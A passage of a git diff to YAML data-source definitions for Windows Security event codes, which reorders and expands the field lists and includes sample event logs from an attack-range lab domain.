SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4725001382400x8020000000000000278771Securityar-win-dc.attackrange.localWILFORD_SUTTONATTACKRANGEATTACKRANGE\WILFORD_SUTTONATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 diff --git a/data_sources/windows_event_log_security_4726.yml b/data_sources/windows_event_log_security_4726.yml index 93d2716a2e..83f5720769 100644 --- a/data_sources/windows_event_log_security_4726.yml +++ b/data_sources/windows_event_log_security_4726.yml @@ -17,90 +17,86 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest example_log: 4726001382400x8020000000000000279283Securityar-win-dc.attackrange.localLYNN_WOLFATTACKRANGES-1-5-21-2851375338-1978525053-2422663219-2445ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1- diff --git a/data_sources/windows_event_log_security_4727.yml b/data_sources/windows_event_log_security_4727.yml index 05b8d2bd41..a13b4b7295 100644 --- a/data_sources/windows_event_log_security_4727.yml +++ b/data_sources/windows_event_log_security_4727.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: 4727001382600x8020000000000000183204880Securityar-win-dc.attackrange.localESX AdminsATTACKRANGEATTACKRANGE\ESX AdminsATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4728.yml b/data_sources/windows_event_log_security_4728.yml index 482d06ddf7..e504a711c1 100644 --- a/data_sources/windows_event_log_security_4728.yml +++ b/data_sources/windows_event_log_security_4728.yml @@ -14,6 +14,125 @@ supported_TA: version: 11.0.3 fields: - _time + - AccountExpires + - action + - ActivityID + - AllowedToDelegateTo + - app + - Caller_Domain + - Caller_User_Name + - CategoryString + - change_type + - Channel + - Computer + - dest + - dest_nt_domain + - DisplayName + - Dummy + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID + - eventtype + - Group_Domain + - Group_Name + - Guid + - HandleId + - HomeDirectory + - HomePath + - host + - id + - index + - Keywords + - Level + - linecount + - Logon_ID + - LogonHours + - member_user_name + - MemberName + - MemberSid + - Name + - name + - NewSd + - NewUacValue + - object + - object_attrs + - object_category + - object_id + - ObjectName + - ObjectServer + - ObjectType + - OldSd + - OldUacValue + - Opcode + - PasswordLastSet + - PrimaryGroupId + - PrivilegeList + - process + - process_id + - process_name + - process_path + - ProcessID + - ProcessId + - ProcessName + - product + - ProfilePath + - punct + - RecordNumber + - result + - SamAccountName + - ScriptPath + - session_id + - severity + - severity_id + - SidHistory + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::action + - tag::eventtype + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_group + - user_name + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4730.yml b/data_sources/windows_event_log_security_4730.yml index f6cf01a48d..5db48b8720 100644 --- a/data_sources/windows_event_log_security_4730.yml +++ b/data_sources/windows_event_log_security_4730.yml @@ -13,93 +13,177 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace - CategoryString + - change_type - Channel + - CommandLine + - Company - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel - EventCode - EventData_Xml + - EventDescription - EventID - EventRecordID - - Guid - - Image_File_Name - - Keywords - - Level - - Name - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - RenderingInfo_Xml - - SamAccountName - - SidHistory - - SourceName - - SubStatus - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Task - - TaskCategory - - ThreadID - - Version - - action - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - dvc_nt_host - - event_id + - EventType - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes - host - id + - Image + - IMPHASH - index + - IntegrityLevel + - Keywords + - Level - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID - service - - service_id - service_name + - session_id - severity - severity_id + - SHA1 + - SHA256 + - SidHistory - signature - signature_id - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId - sourcetype - splunk_server - - splunk_server_group + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user_group_id + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group - user_id + - UserID + - UtcTime + - vendor - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time + - Version output_fields: - dest example_log: 4730001382600x8020000000000000183203591Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4211ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0- diff --git a/data_sources/windows_event_log_security_4731.yml b/data_sources/windows_event_log_security_4731.yml index 7d1b7a78cd..6641150050 100644 --- a/data_sources/windows_event_log_security_4731.yml +++ b/data_sources/windows_event_log_security_4731.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4732.yml b/data_sources/windows_event_log_security_4732.yml index 803b5e8cb4..565de55438 100644 --- a/data_sources/windows_event_log_security_4732.yml +++ b/data_sources/windows_event_log_security_4732.yml @@ -17,63 +17,51 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Name - - CategoryString - - ComputerName - - Error_Code - - EventCode - - EventType - - Group_Domain - - Group_Name - - Keywords - - LogName - - Logon_ID - - Message - - OpCode - - Privileges - - RecordNumber - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Type - action - app - - body - - category + - Caller_Domain + - Caller_User_Name + - CategoryString - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dest_nt_domain - - dest_nt_host - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Group_Domain + - Group_Name + - Guid - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain + - Logon_ID + - member_user_name + - MemberName + - MemberSid + - Name - name + - object - object_attrs - object_category - - privilege_id + - object_id + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id - severity @@ -84,21 +72,36 @@ fields: - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user + - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group + - user_name - vendor - - vendor_privilege - vendor_product + - Version output_fields: - dest example_log: 10/09/2020 10:41:26 AM diff --git a/data_sources/windows_event_log_security_4737.yml b/data_sources/windows_event_log_security_4737.yml index 6241a8694e..2f9ac5dc53 100644 --- a/data_sources/windows_event_log_security_4737.yml +++ b/data_sources/windows_event_log_security_4737.yml @@ -13,93 +13,177 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace - CategoryString + - change_type - Channel + - CommandLine + - Company - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel - EventCode - EventData_Xml + - EventDescription - EventID - EventRecordID - - Guid - - Image_File_Name - - Keywords - - Level - - Name - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - RenderingInfo_Xml - - SamAccountName - - SidHistory - - SourceName - - SubStatus - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Task - - TaskCategory - - ThreadID - - Version - - action - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - dvc_nt_host - - event_id + - EventType - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes - host - id + - Image + - IMPHASH - index + - IntegrityLevel + - Keywords + - Level - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID - service - - service_id - service_name + - session_id - severity - severity_id + - SHA1 + - SHA256 + - SidHistory - signature - signature_id - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId - sourcetype - splunk_server - - splunk_server_group + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user_group_id + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group - user_id + - UserID + - UtcTime + - vendor - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _raw - - _serial - - _si - - _sourcetype - - _subsecond - - _time + - Version output_fields: - dest example_log: 4737001382600x8020000000000000183186860Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4211ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0--- diff --git a/data_sources/windows_event_log_security_4738.yml b/data_sources/windows_event_log_security_4738.yml index 4e15e78539..dfd0ce63ed 100644 --- a/data_sources/windows_event_log_security_4738.yml +++ b/data_sources/windows_event_log_security_4738.yml @@ -18,87 +18,64 @@ supported_TA: fields: - _time - AccountExpires + - action - AllowedToDelegateTo + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer + - dest + - dest_nt_domain - DisplayName - Dummy + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HomeDirectory - HomePath + - host + - id + - index - Keywords - Level - - LogonHours + - linecount - Logon_ID + - LogonHours - Name + - name - NewUacValue + - object + - object_attrs + - object_category + - object_id - OldUacValue - Opcode - PasswordLastSet - PrimaryGroupId - PrivilegeList - ProcessID + - product - ProfilePath + - punct - RecordNumber + - result - SamAccountName - ScriptPath - - SidHistory - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - UserAccountControl - - UserParameters - - UserPrincipalName - - UserWorkstations - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object - - object_attrs - - object_category - - object_id - - product - - punct - - result - session_id + - severity + - severity_id + - SidHistory - signature - signature_id - source @@ -109,17 +86,35 @@ fields: - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version output_fields: - dest example_log: 4738001382400x80200000000000006389713Securityar-win-dc.attackrange.local-unprivATTACKRANGES-1-5-21-945660386-2529346225-2932127451-1112S-1-5-21-945660386-2529346225-2932127451-500AdministratorATTACKRANGE0x54bb3a----------------- diff --git a/data_sources/windows_event_log_security_4741.yml b/data_sources/windows_event_log_security_4741.yml index 113dfdb62a..a5d86047ac 100644 --- a/data_sources/windows_event_log_security_4741.yml +++ b/data_sources/windows_event_log_security_4741.yml @@ -21,106 +21,102 @@ supported_TA: fields: - _time - AccountExpires + - action - AllowedToDelegateTo + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer + - dest + - dest_nt_domain - DisplayName - DnsHostName + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HomeDirectory - HomePath + - host + - id + - index - Keywords - Level - - LogonHours + - linecount - Logon_ID + - LogonHours - Name + - name - NewUacValue + - object_attrs + - object_category - OldUacValue - Opcode - PasswordLastSet - PrimaryGroupId - PrivilegeList - ProcessID + - product - ProfilePath + - punct - RecordNumber + - result - SamAccountName - ScriptPath - ServicePrincipalNames - - SidHistory - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - UserAccountControl - - UserParameters - - UserPrincipalName - - UserWorkstations - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object_attrs - - object_category - - product - - punct - - result - session_id + - severity + - severity_id + - SidHistory - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_type + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version output_fields: - dest example_log: 4741001382500x8020000000000000143475Securityar-win-dc.attackrange.localAR-WIN-2$ATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd9f04-AR-WIN-2$-------4/8/2024 6:48:04 PM%%1794515-0x00x80 diff --git a/data_sources/windows_event_log_security_4742.yml b/data_sources/windows_event_log_security_4742.yml index 73a3e378cc..e7b5aa1902 100644 --- a/data_sources/windows_event_log_security_4742.yml +++ b/data_sources/windows_event_log_security_4742.yml @@ -20,107 +20,136 @@ supported_TA: fields: - _time - AccountExpires + - action - AllowedToDelegateTo + - app + - authentication_method + - authentication_service + - AuthenticationPackageName - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - ComputerAccountChange + - dest + - dest_nt_domain - DisplayName - DnsHostName + - dvc + - dvc_nt_host + - ElevatedToken - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HomeDirectory - HomePath + - host + - id + - ImpersonationLevel + - index + - IpAddress + - IpPort + - KeyLength - Keywords - Level - - LogonHours + - linecount + - LmPackageName - Logon_ID + - Logon_Type + - LogonGuid + - LogonHours + - LogonProcessName + - LogonType - Name + - name - NewUacValue + - object_attrs + - object_category - OldUacValue - Opcode - PasswordLastSet - PrimaryGroupId - PrivilegeList + - process + - process_id - ProcessID + - ProcessId + - ProcessName + - product - ProfilePath + - punct - RecordNumber + - RestrictedAdminMode + - result - SamAccountName - ScriptPath - ServicePrincipalNames - - SidHistory - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - UserAccountControl - - UserParameters - - UserPrincipalName - - UserWorkstations - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object_attrs - - object_category - - product - - punct - - result - session_id + - severity + - severity_id + - SidHistory - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server + - src + - src_ip - src_nt_domain + - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag + - tag::action + - tag::app - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetLinkedLogonId + - TargetLogonId + - TargetOutboundDomainName + - TargetOutboundUserName + - TargetSid + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp + - TransmittedServices - user - user_group - user_type + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version + - VirtualAccount + - WorkstationName output_fields: - dest example_log: 4742001382500x8020000000000000901860Securitywin-dc-root-04195-428.attackrange.local-WIN-HOST-ROOT-0$ATTACKRANGES-1-5-21-199921393-3534762603-6736986-1111S-1-5-21-199921393-3534762603-6736986-500AdministratorATTACKRANGE0x177304----------------- diff --git a/data_sources/windows_event_log_security_4744.yml b/data_sources/windows_event_log_security_4744.yml index 17716ec455..a5a4b600fd 100644 --- a/data_sources/windows_event_log_security_4744.yml +++ b/data_sources/windows_event_log_security_4744.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_security_4749.yml b/data_sources/windows_event_log_security_4749.yml index cab2404af9..179529d0cb 100644 --- a/data_sources/windows_event_log_security_4749.yml +++ b/data_sources/windows_event_log_security_4749.yml @@ -14,6 +14,176 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + 